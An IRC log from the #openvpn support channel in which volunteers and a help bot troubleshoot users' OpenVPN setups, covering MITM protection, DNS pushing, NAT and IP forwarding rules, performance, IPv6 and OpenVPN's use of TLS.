16:05 <+pekster> The problem is that NM has done something you didn't understand, which is a common problem; the issue is made worse when users don't have a clue how the client is actually running since they didn't ask it to do any of what has happened
16:06 <+pekster> In some cases people actually like using it. Today, your 0/0 (aka the "default" route) was added and you didn't want that behaviour. Seems to me networkmanager is "not your friend."
16:10 < baphomet1> pekster, thank you for the clarification.  I find using a terminal each time I want to connect to a VPN to be tedious, but I understand what you are saying.
16:12 -!- baphomet1 [~no@12.235.42.129] has left #openvpn ["Leaving"]
16:15 -!- AginLap [~AginLap@109.201.154.160] has quit [Quit: Leaving]
16:18 < alanjf> Does the client-to-client server conf option actually do anything when using tap (instead of tun) ?
16:18 < CygniX> why do I get that no server verification method error when connecting with openvpn for android? https://paste.opensuse.org/view/raw/44eb371d
16:19 <+pekster> alanjf: It might bypass ebtables for raw-IP data, but I'm not actually sure offhand
16:19 <+pekster> Or any L2 filter, if it's not Linux-based
16:20 <+pekster> CygniX: That's a warning, not an error. It's warning you that you aren't doing MITM protection and a valid client could MITM you pretending to be the server
16:20 <+pekster> !mitm
16:20 <@vpnHelper> "mitm" is (#1) http://openvpn.net/index.php/documentation/howto.html#mitm to know about stopping Man-in-the-Middle attacks by signing the server cert specially or (#2) use !servercert to generate the server cert manually or use the easy-rsa build-key-server script to build your server certificates or (#3) then use: remote-cert-tls server in the client config
16:20 < CygniX> pekster: even with server hmac enabled?
16:21 <+pekster> You mean --tls-auth? Yes, of course, since all clients need the same key
16:21 < CygniX> pekster: yea, I meant tls-auth ta.key
16:22 <+pekster> That's not a secret to an authorized client
16:22 <+pekster> It's not part of the X509 authentication in any way
16:23 < alanjf> pekster: Thanks, though I meant in terms of how it controls if connecting clients can "talk" to one another in tun mode. In tap mode since it's a bridge, I would find it odd if it actually did that, as that would defeat the point of a bridge
16:23 < alanjf> Which is like running a really long ethernet cable between sites.
16:24 <+pekster> They can still talk in tun without --client-to-client -- it would simply go to the kernel's network stack instead of being "bounced" off of the openvpn process completely in userland
16:24 <+pekster> Personally I never use that option since my firewall needs tend to be specific enough to write dedicated rules for access control
16:27 < CygniX> pekster: I dont quite understand what "Build your server certificates with specific key usage and extended key usage."
16:27 <+pekster> easy-rsa does taht for you
16:28 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
16:28 < CygniX> pekster: but that was the howto I followed
16:28 <+pekster> If you're advanced enough to be writing your own PKI solution, you need to understand the keyUsage (KU) and extendedKeyUsage (EKU) fields yourself
16:28 <+pekster> If you're not doing that, easy-rsa "does the right thing" so long as you signed it properly using the server or client scripts
16:29 <+pekster> You can see the difference yourself if you show the full textual representation of a client and server cert. Check out the difference when you do `openssl x509 -in /path/to/your.crt -noout -text`
16:29 < CygniX> So  in the how to, "./build-key-server server" is different step to mitigate the mitm?
16:30 <+pekster> CygniX: That's half of what you need. The 2nd half is that your client needs to actually _check_ to verify it's a server cert, whcih is what the --remote-cert-tls directive does
16:32 < CygniX> You mean simply adding 'remote-cert-tls server' to the client config file is all that is needed after building the server key?
16:33 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:35 <+pekster> Yup
16:36 < alanjf> pekster: Thanks.
16:40 < CygniX> pekster: thanks
16:59 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
17:10 < CygniX> openvpn for android is set to connect automatically upon reboot, but...it prompts for checking if the app is trusted which defeats the purpose of auto connect
17:10 -!- Enyx [~Enyx@static-176-182-45-139.ncc.abo.bbox.fr] has joined #openvpn
17:11 <@krzee> umm, what is the purpose of autoconnect?
17:12 <@krzee> cause evidently we have different purposes when using it
17:12 < CygniX> upon reboot to connect
17:12 -!- atmosx [~bsd@gateway/tor-sasl/atmosx] has joined #openvpn
17:12 <@krzee> right, that is what it does
17:12 < CygniX> but it prompts
17:12 < CygniX> there should be no prompting
17:13 <@krzee> so having no prompt was the goal of autoconnect?
17:13 < Enyx> Hi, i had problem with OpenVPN server blocking DNS, after that i used the option to push the DNS (8.8.8.8)and it was working fine and now it seems that the problem is back :/
17:13 <@krzee> i agree i could do without it too, but it doesnt "go defeat the purpose" for me
17:13 < CygniX> what is the purpose  then for "reconnect on reboot"
17:14 <@krzee> for the user to not need to know to click on openvpn for it to run
17:14 <@krzee> thats the purpose when i use it
17:14 <@krzee> and my users that have that dont need to remember
17:15 < Enyx> hi krzee
17:15 < CygniX> what am saying is, it should not be prompting be it reconnects if auto reconnect is set
17:15 < CygniX> it is the only thing that makes sense
17:15 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
17:16 -!- Enyx|FusRohDah [~Enyx@static-176-182-45-139.ncc.abo.bbox.fr] has joined #openvpn
17:17 < CygniX> it appears to be an issue with android 4.3+
17:18 < crass> is it possible to have command line options override config file options?
17:18 <@krzee> without that option does openvpn start and that screen still appear for auth?
17:19 <@krzee> CygniX, ^
17:19 < CygniX> not sure I understand krzee
17:19 <@krzee> crass, why dont you test it and check?  note that giving the option before the config and after the config may do different things
17:19 -!- aaaabs [Enyx@static-176-182-45-139.ncc.abo.bbox.fr] has joined #openvpn
17:20 < CygniX> when you start the app and click connect, it asks if you trust the app
17:20 < CygniX> you have to say yes, before it will connect
17:20 <@krzee> CygniX, uncheck that box "reconnect on reboot"
17:20 < aaaabs> I missed something ? :3
17:20 <@krzee> does that connect screen still appear on reboot?
17:21 < CygniX> krzee: Oh, I think you may have misunderstood my concern
17:21 -!- Enyx [~Enyx@static-176-182-45-139.ncc.abo.bbox.fr] has quit [Ping timeout: 252 seconds]
17:21 < CygniX> krzee: it does not
17:21 <@krzee> exactly
17:21 -!- Enyx|FusRohDah [~Enyx@static-176-182-45-139.ncc.abo.bbox.fr] has quit [Ping timeout: 256 seconds]
17:21 <@krzee> that option makes openvpn start
17:21 <@krzee> when it starts you have to give it trust
17:21 < CygniX> I want it to reconnect on reboot.
17:21 < crass> krzee: I have tested it and it hasn't worked
17:21 < crass> that doesn't mean there isn't something I haven't tried
17:21 <@krzee> i dont know how to use the app and not have to click that screen, but now you understand that option works as it should.
17:22 < CygniX> krzee: the "problem" is, when set to reconnect on reboot, it still asks for confimation to connect.
17:23 -!- aaaabs is now known as Enyx
17:23 < CygniX> My point was the confirmation defeats the purpose of auto reconnect
17:23 <@krzee> ok, so heres how you say it "hey is there a way to not have to give trust to openvpn every time i start it on android?"
17:23 < Enyx> so
17:23 < Enyx> Hi, i had problem with OpenVPN server blocking DNS, after that i used the option to push the DNS (8.8.8.8)and it was working fine and now it seems that the problem is back :/
17:23 < Enyx> ^^
17:23 <@krzee> instead of "hey this option does not work"
17:23 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
17:24 <@krzee> CygniX, and no i dont know how to get rid of that screen, but i just felt the desire to make you understand how wrong you were when you said the purpose of the option was defeated because android requires permission to run openvpn
17:24 < CygniX> krzee: my initial statement was quite close to what say I should have said.
17:24 < CygniX> [18:09] <CygniX> openvpn for android is set to connect automatically upon reboot, but...it prompts for checking if the app is trusted which defeats the purpose of auto connect
17:25 <@krzee> android asking for permission does not defeat the purpose of auto connect
17:25 <@krzee> it might not be your exact desire, but openvpn still runs and does everything it can to connect
17:25 < CygniX> it does
17:25 <@krzee> until you allow your os to allow it, it will sit there wanting to
17:26 <@krzee> starting to see how its not an openvpn issue?
17:26 <@krzee> Enyx,
17:26 <@krzee> !pushdns
17:26 <@vpnHelper> "pushdns" is (#1) push "dhcp-option DNS a.b.c.d" to push dns to the client or (#2) http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns or (#3) http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit or (#4) in unix you'll use the update-resolv-conf script or (#5) also
17:26 <@vpnHelper> http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
17:27 <@krzee> Enyx, if you did that, then after it breaks check if the dns was changed back
17:27 <@krzee> find out what changed it back and stop that from happening
17:28 <@krzee> or set your dns servers manually to 8.8.8.8 in the first place
17:28 <@krzee> then you dont have to do anything else
17:28 < Enyx> krzee i'll check this ou
17:28 < Enyx> out
17:33 < Enyx> krzee i was wrong, it's not a dns issue, the client doesnt have acces to internet at all ...
17:33 <@krzee> !redirect
17:33 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
17:33 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
17:33 <@krzee> follow the flowchart
17:33 <@krzee> it's everything i'ld ask you
17:34 <@krzee> let me know when you get stuck at it and we'll be here =]
17:34 -!- fling [~fling@fsf/member/fling] has quit [Quit: leaving]
17:35 < Enyx> !def1
17:35 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
17:37 -!- fling [~fling@fsf/member/fling] has joined #openvpn
17:40 < Enyx> !ipforward
17:40 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
17:41 < Enyx> !linipforward
17:41 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
17:44 < Enyx> !nat
17:44 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
17:46 < Enyx> !linnat
17:46 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -I POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
17:51 < Enyx> krzee how to redirect from internet to internet ?
17:51 < Enyx> on iptables
17:52 < Enyx> should i redirect trafic from tun to eth0 ?
17:55 <@krzee> you are redirecting internet over the vpn, correct?
17:55 < Enyx> Exactly
17:56 < Enyx> i expect there is a "!" commen for that :p
17:56 <@krzee> !linnat
17:56 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -I POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
17:56 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has quit [Ping timeout: 272 seconds]
17:56 <@krzee> feel free to adapt it to fit your setup as your firewall may require
17:56 <@krzee> but that should do it
17:56 < Enyx> ok
17:57 < Enyx> it's not a temporry cmd ?
17:57 < Enyx> +a
17:57 <@krzee> i believe it is, how to make it permanent depends on your os/distro
17:57 <+pekster> Invoking any iptables* command is temporary as you're simply interacting with the kernel's memory structures
17:57 < Enyx> Ubunty 64
17:57 < Enyx> Hmm
17:57 < Enyx> n
17:58 < Enyx> NO
17:58 <+pekster> Sane distros have an initscript you can use that's a glorified wrapper for iptables-save(8)
17:58 <+pekster> Sadly, you're using a Debian-based distro that provides no such script by default
17:58 < Enyx> Debian 64 ^^
17:58 < Enyx> I'll check this out, thanks krzee an thanks pekster
17:58 < Enyx> Oh
17:58 < Enyx> HOw should i do this then
17:58 <+pekster> Here's my solution: https://github.com/QueuingKoala/distro-scripts/blob/master/ubuntu/netfilter/05-iptables
17:58 <@vpnHelper> Title: distro-scripts/ubuntu/netfilter/05-iptables at master · QueuingKoala/distro-scripts · GitHub (at github.com)
17:58 <+pekster> Otherwise ask #ubuntu or #debian
17:58 < Enyx> because i just remembered, i restarted my server few days ago ^^
17:59 <+pekster> They have some goofy software packages for it too, but I've never liked their frontends to any of this
18:00 -!- joker_89 [~ircap@unaffiliated/joker-89/x-0901110] has joined #openvpn
18:00 < joker_89> hi
18:03 < joker_89> i have a question, in my region there is a local freedom network that everybody can connect to the network by itself (see a map http://guifi.net/catalunya ) , well, i want to conect my house in that network that have ips in range 172.26.x.x and then with my laptop in another country connect thorught vpn to my house and then use this free network, is that possible with openvpn?
18:07 -!- honestly [~luke@unaffiliated/luketheduke] has joined #openvpn
18:07 < honestly> !welcome
18:07 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
18:07 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
18:07 < honestly> !goal
18:07 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
18:09 < honestly> I'm building a vpn that has a server, 10 "static" clients, and up to 150 dynamic clients. clients should all be able to see each other. I haven't run into a specific problem as of yet, but I'm wondering, how does openvpn identify clients so it knows where to push the ifconfig?
18:09 -!- CygniX [~CygniX@unaffiliated/twois10] has left #openvpn ["Konversation terminated!"]
18:10 < EugeneKay> honestly - based upon CN of the certificate used
18:10 < EugeneKay> Or --username-as-cn
18:10 < honestly> I'd like to get away with only using a single cert for all of the static clients
18:11 < EugeneKay> Then see that option
18:11 < honestly> (the dynamic clients get a single cert as well)
18:11 <+pekster> !dupe
18:11 <@vpnHelper> "dupe" is (#1) see --duplicate-cn in the manual (!man) to see how to allow multiple clients to use the same key (NOT recommended) or (#2) instead, use !pki to make a cert for each user
18:12 < honestly> !man
18:12 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
18:13 -!- ludde [~b@host.62.65.106.155.bitcom.se] has quit [Ping timeout: 248 seconds]
18:13 < honestly> do I use the "user" config option to specify username?
18:14 <+pekster> No, that's for downgrading the user id of the running process
18:14 < EugeneKay> --auth-user-pass
18:15 <+pekster> OpenVPN can authentication either by X509 certificate (the default mode) or by optionally using a user/pass authentication system. If doing the latter, you can opt not to use client certs at all at a reduction in security (since auth is fully controlled by knowledge of the credentials)
18:15 < honestly> yeah I'll want to use both
18:15 < honestly> I think
18:16 < honestly> or I could just create 10 different certs
18:16 < joker_89> anyone can help me?
18:16 < EugeneKay> !ask
18:16 <@vpnHelper> "ask" is (#1) don't ask to ask, just ask your question please, see this link for how to get help on IRC: http://workaround.org/getting-help-on-irc or (#2) See also, How to ask questions the smart way here: http://catb.org/~esr/faqs/smart-questions.html
18:16 <+pekster> joker_89: You can either route to your "freedom network" if it's definable by IP, or redirect all your Internet traffic over the VPN (see !redirect)
18:17 <+pekster> Note that you'll probably need NAT either way if you are using a source network this "Freedom network" doesn't know how to route back to
18:18 < honestly> mrgh, it's too late for this -.-
18:18 < honestly> I'll be back tomorrow
18:18 < joker_89> mmm is not easy?
18:18 <+pekster> That depends completely on how familiar you are with concepts like routing, NAT, and firewalls
18:19 < joker_89> i'll have a nanostation m5 and then conected to a linksys wrt54gl
18:19 < joker_89> and then my modem
18:20 < joker_89> with this material can i do this?
18:24 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 248 seconds]
18:28 -!- Enyx [Enyx@static-176-182-45-139.ncc.abo.bbox.fr] has quit [Ping timeout: 246 seconds]
18:28 -!- Enyx [~Enyx@static-176-182-45-139.ncc.abo.bbox.fr] has joined #openvpn
18:29 -!- Enyx [~Enyx@static-176-182-45-139.ncc.abo.bbox.fr] has quit [Client Quit]
18:32 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
18:37 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
18:38 -!- Enyx [~Enyx@static-176-182-45-139.ncc.abo.bbox.fr] has joined #openvpn
18:38 < Enyx> Hi back ^^
18:39 < Enyx> So, now: is it possible to improve connection: I have 200Mb down and 100Mb up on my personal connection, and my server is 200mb/200mb. But on vpn i get 70ms, 8mb down and 6mb up.
18:41 <+pekster> Identify your bottleneck; with openvpn it's usually your CPU as crypto is handled by openssl operating in a userland context. AES-NI hardware can speed it up if openssl is aware of your hw engine
18:42 < Enyx> hum, on client side i dont think it is CPU, on server side it could be. How can i improve this without changing hardware ?
18:42 -!- joker_89 [~ircap@unaffiliated/joker-89/x-0901110] has quit [Quit: • IRcap • 8.72 •]
18:43 <+pekster> Without identifying your bottleneck you can't. This might be worth reading:
18:43 <+pekster> !gigabit
18:43 <@vpnHelper> "gigabit" is https://community.openvpn.net/openvpn/wiki/Gigabit_Networks_Linux for JJK's writeup on getting the most out of openvpn over gigabit
18:46 -!- Sandfly [~ma1com10t@host-92-20-25-149.as13285.net] has left #openvpn []
18:50 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
18:55 -!- nutron [~nutron@184.68.34.30] has joined #openvpn
18:55 -!- nutron [~nutron@184.68.34.30] has quit [Changing host]
18:55 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
18:56 -!- Falconor [~Falconor@magnetvpn.net] has quit [Ping timeout: 265 seconds]
18:56 -!- Falconor [~Falconor@magnetvpn.net] has joined #openvpn
19:01 < Enyx> So it seems that AES256 is faster, that's it ?
19:01 <+pekster> Only with hw crypto, generally speaking
19:01 <+pekster> Usually BF is faster when done in software
19:02 <+pekster> Easy enough for you to test on your own with `openssl speed`
19:02 -!- Falconor [~Falconor@magnetvpn.net] has quit [Ping timeout: 248 seconds]
19:02 <+pekster> Mind the use of -engine if you do have hw-accel compaible CPUs
19:03 -!- Falconor [~Falconor@magnetvpn.net] has joined #openvpn
19:09 -!- Falconor [~Falconor@magnetvpn.net] has quit [Ping timeout: 264 seconds]
19:10 -!- Falconor [~Falconor@magnetvpn.net] has joined #openvpn
19:22 -!- Falconor [~Falconor@magnetvpn.net] has quit [Ping timeout: 260 seconds]
19:22 -!- Falconor [~Falconor@magnetvpn.net] has joined #openvpn
19:26 < Enyx> pekster is it normal that AES-256-cbc gives me 10x the result of whirlpool ?
19:26 <+pekster> Since one is a symmetric cipher and the other is a hash, yes, probably
19:27 < Enyx> so i could get 3x or 4x time more speed by switching from wirlpool to aes you think ?
19:29 <+pekster> whirlpool is a digest; you cann't use aes as a digest or whirlpool as a cipher
19:29 <+pekster> Reference `openvpn --show-digests` and `openvpn --show-ciphers`
19:30 -!- Falconor [~Falconor@magnetvpn.net] has quit [Ping timeout: 264 seconds]
19:36 -!- xeqution [~z6@unaffiliated/z6] has joined #openvpn
19:54 -!- raidz is now known as raidz_away
20:07 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
20:10 -!- NChief [~nchief@unaffiliated/nchief] has joined #openvpn
20:10 -!- Enyx [~Enyx@static-176-182-45-139.ncc.abo.bbox.fr] has quit [Ping timeout: 245 seconds]
20:13 -!- honestly is now known as EveryBody
20:13 < NChief> hi! Im trying to use the windows client to connect to my openvpn server. but it fails to connect. And there is no (sane) error message, and nothing in the log (I have verb 5). this is my config: http://pastebin.com/tMgrqMGf
20:13 -!- EveryBody is now known as honestly
20:14 <+pekster> You're missing the server config in that paste. The logs at verb 4 are quite relevant too
20:15 < NChief> im using the exact same config on linux and it works
20:16 <+pekster> Not with a tls-auth of "C:\\Users\Tomme\\Downloads..." you aren't
20:16 <+pekster> The logs are _very_ relevant here
20:16 < NChief> yea, I have modified the path ofc
20:16 <+pekster> !logfile
20:16 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info or (#4) without any log-redirection options, openvpn sends output to stdout. Explicit logging is often more convenient
20:16 <+pekster> I still haven't seen your server config or your client logs at verb 4 that will help
20:17 < NChief> as I said, the log is empty
20:18 <+pekster> Then you've done something wrong
20:18 <+pekster> The log is _never_ empty at verb 4
20:18 <+pekster> How are you starting openvpn?
20:18 < NChief> probably. but then I would like to know what I have done wrong :P
20:18  * krzee looks at dev tap and twiches
20:19 <+pekster> Well, yes. Your use of tap is suspect if you don't know why you've done it
20:19 <+pekster> I'll save that complaint until after we see WTF you have no logs ;)
20:19 <@krzee> :D
20:20 < NChief> I have placed my .ovpn in C:\Program Files\OpenVPN\config . started the openvpn GUI. and pressed connect
20:21 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
20:21 <+pekster> So, the GUI ignores your --log option and logs to its own special log
20:21 <+pekster> This is why you "have no log"
20:21 <+pekster> You do, but it's been overridden by a command-line flag after your config file which replaces it
20:22 <+pekster> Either call openvpn from a command prompt, or use the GUI-centric log file. Review it for details and if you're still confused as to the source of your problem, post it in a pastebin. I recommend gist.github.com or paste.kde.org for fewest ads
20:22 < NChief> Im not the server admin, so I cant change to tun. but I belive its used because of IPv6
20:22 <+pekster> It's not at all becuase of IPv6 becuase "proto udp" is a v4-only protocol
20:23 <+pekster> --proto udp6 is how you use openvpn over a v6 transport
20:25 < NChief> if I press "view log" in the GUI, its still empty
20:26 <+pekster> openvpn at anything higher than --verb 0 is never (ever!) empty. Try launching it from a command prompt using c:\path\to\openvpn\bin\openvpn.exe --config "C:\path\to\openvpn\config.ovpn"
20:26 -!- tomboy_ [tomboy@gateway/shell/blinkenshell.org/x-drvwcceovjngteii] has joined #openvpn
20:26 <+pekster> That will log to your specified logfile
20:27 <+pekster> No clue what's up with your logging via the GUI, but let's just elliminate your GUI completely for the time being
20:28 < tomboy_> I have a gigabit Internet connection. ethtool shows it's at 1000 Mb/s. But my VPN tun0 shows 10 Mb/s, despite them advertising offering a gigabit. What's wrong?
20:28 < NChief> Options error: Bad protocol: 'upd'.
20:28 <+pekster> NChief: Ah, I missed the typo too. upd is not a valid protocol. udp is though.
20:29 < NChief> OH
20:29 < NChief> lol
20:29 < NChief> there we go! :)
20:29 < NChief> thanks
20:30 <+pekster> I bet that's sent to stderr, not stdout, and the GUI logs only redirect stdout
20:30 < NChief> yea
20:30 <+pekster> (maybe)
20:31 <+pekster> tomboy_: What do you mean "shows 10 Mbps" ?
20:31 <+pekster> tomboy_: You can't run something like mii-tool on a tun device since it's not a PHY
20:32 < tomboy_> ethtool displays information on it. 10 Mb/s
20:32 <+pekster> It lies. Don't trust it
20:34 -!- nutron [~nutron@unaffiliated/nutron] has quit [Read error: Connection reset by peer]
20:36 < tomboy_> pekster: Okay, it's slow. I know that.
20:36 <+pekster> Then identify your bottleneck. Is this your server?
20:37 <+pekster> And no, the ethtool value is completely and utterly bogus. It's as worthless as using ifconfig on modern Linux
20:42 < kro[au]> !ipv6
20:42 <@vpnHelper> "ipv6" is (#1) http://www.greenie.net/ipv6/openvpn.html for info about the ipv6 patch (adds nice ipv6 options to openvpn) or (#2) use 2.3 or see !snapshots for a release with ipv6 patches in it or (#3) http://ipstats.arvig.net/BraveHeartMEME.jpg
20:42 < kro[au]> !dualstack
20:43 <+pekster> kro[au]: OpenVPN >=2.3.0 has support for IPv6 within the tunnel now. There is no current support for dual-stack encapsulation (for the outer VPN traffic) although that is a development goal currently
20:43 <+pekster> As of 2.3.0 you can encapsulate over either IPv4 or IPv6, just not both in a single instance
20:44 <+hazardous> pekster: i have a v6-only windows client, and a v4v6 dual stack debian server
20:44 <+hazardous> would that be doable if i needed to access v4 internet on windows client
20:44 < kro[au]> cheers pekster ^_^
20:45 <+hazardous> oh man, i haven't used openvpn in a while, just -as
20:45 <+hazardous> time to try this out
20:46 <+pekster> hazardous: Sure, if you either offer 0/0 via an IPv4 tunnel across the VPN, or supply globally-routable IPv4 space to the client
20:46 <+pekster> Note that use of RFC1918 has the usual NAT requirements
20:46 <+hazardous> i don't need any ports forwarded, just need enough access to reach the internet and download something
20:47 <+hazardous> if i connect over v6, do i need to force a 0/0 gw/route? or does it do it anyway instead of forcing like ::/0
20:47 <+pekster> ::/0 is IPv6
20:47 -!- fetcherr [fetcherr@173-86-14-37.dr01.wlbr.pa.frontiernet.net] has joined #openvpn
20:47 <+pekster> IPv4 is not routalbe to IPv6 and vise-versa
20:47 <+pekster> They're completely different routing domains
20:48 <+hazardous> i mean, since i'll be connecting to the vpn server off v6, will it also throw in v4 routes when i default gw (not sure how to word this)
20:49  * pekster can't parse "when i default gw"
20:49 <+pekster> Routes aren't magic: something needs to _apply_ the route
20:49 <+pekster> Read openvpn's --route directive if you want openvpn to do this
20:50 <+hazardous> ok, thx
20:50 < fetcherr> pekster could u give me a hand on my openvpn server via remote control when you get a minute?
20:50 <+pekster> DHCP server do it via the "rpiter
20:50 <+pekster>  
20:50 <+hazardous> i've spent far too much time in the ovpn-as world lol
20:50 <+hazardous> have to read up on all of this now
20:50 <+pekster> DHCP servers can push a "router" option, aka option 3. OpenVPN can push a --route option, possibly --redirect-gateway depending on your situation
20:50 <+pekster> etc
20:51 <+hazardous> so i'll want at least 2.3.x for v6 support
20:51 <+pekster> Yup
20:54 -!- fetcherr [fetcherr@173-86-14-37.dr01.wlbr.pa.frontiernet.net] has left #openvpn []
20:57 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Remote host closed the connection]
20:58 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
21:00 <+hazardous> mmmmmm
21:00 <+hazardous> ubuntu giving me an insanely old versionf rom repos
21:00 <+hazardous> ?apt
21:00 <+hazardous> ?help
21:00 <+hazardous> !apt
21:01 <+hazardous> W: Failed to fetch http://swupdate.openvpn.net/repos/apt/precise-stable/dists/precise/main/binary-amd64/Packages  404  Not Found
21:01 <+hazardous> W: Failed to fetch http://swupdate.openvpn.net/repos/apt/precise-stable/dists/precise/main/binary-i386/Packages  404  Not Found
21:01 <+hazardous> huh.
21:03 <+pekster> !repo
21:03 <@vpnHelper> "repo" is openvpn runs some software repositories for your installing pleasure, http://community.openvpn.net/openvpn/wiki/OpenvpnSoftwareRepos
21:03 <+hazardous> apt-get update fails
21:03 <+pekster> YMMV, the download links have been in a state of flux for a while since whoever runs the buildbot hasn't fixed it yet
21:03 <+hazardous> repos 404
21:03 <+hazardous> tried a random set of like 5 or 6
21:03 <+hazardous> they're all 404ing
21:03 <+hazardous> so i guess no repos
21:03 <+pekster> openvpn is a fast compile, so you might consider just doing it yourself
21:03 <+hazardous> compile running now
21:04 <+pekster> And even at CFLAGS="-O0" it's still fast to run since all the heavy-lifting is done by openssl anyway
21:06 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Ping timeout: 240 seconds]
21:07 <+hazardous> OpenVPN 2.3.2 x86_64-unknown-linux-gnu [SSL (OpenSSL)] [LZO] [EPOLL] [eurephia] [MH] [IPv6] built on Oct 21 2013
21:07 <+hazardous> well that didnt take long
21:11 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
21:16 < mapito> god damn
21:16 < mapito> why is everyone so pissy in other chans?
21:34 < lokken9> Do you usually use OpenVPN with source IP filtering?
21:34 < lokken9> that would be blacklists or whitelists
21:53 <+hazardous> !ipv6
21:53 <@vpnHelper> "ipv6" is (#1) http://www.greenie.net/ipv6/openvpn.html for info about the ipv6 patch (adds nice ipv6 options to openvpn) or (#2) use 2.3 or see !snapshots for a release with ipv6 patches in it or (#3) http://ipstats.arvig.net/BraveHeartMEME.jpg
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:02 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:02 < lokken9> I have another question. According to a site "bestvpn", OpenVPN does not follow the exact TLS protocol. How does it diferrent from real TLS?
22:06 <+pekster> TLS doesn't operate over UDP, and DTLS wasn't around when openvpn was designed
22:07 <+pekster> Thus TLS over UDP requires an extra reliability layer as TLS doesn't (strictly) work over UDP
22:07 <+pekster> Otherwise all the TLS code to receive the actual data is handled completely by openssl
22:07 <+pekster> So it is "real" TLS, but the on-the-wire transport, at least in UDP, is unique
22:07 < lokken9> i see. That does mean OpenVPN's TLS over TCP is using exactly same TLS protocol?
22:08 <+pekster> IIRC there's a 1-byte addition to signal that the data is TLS verses openvpn symmetric data channel contents; I'm not sure offhand if the wire protocol differs at all beyond that
22:08 < lokken9> wow..
22:09 <+pekster> Remember that openvpn multiplexes the TLS (control channel) and data channel together over a single tupple
22:09 < lokken9> yeah....
22:09 < lokken9> could do that under TLS...
22:10 <+pekster> "under" ?
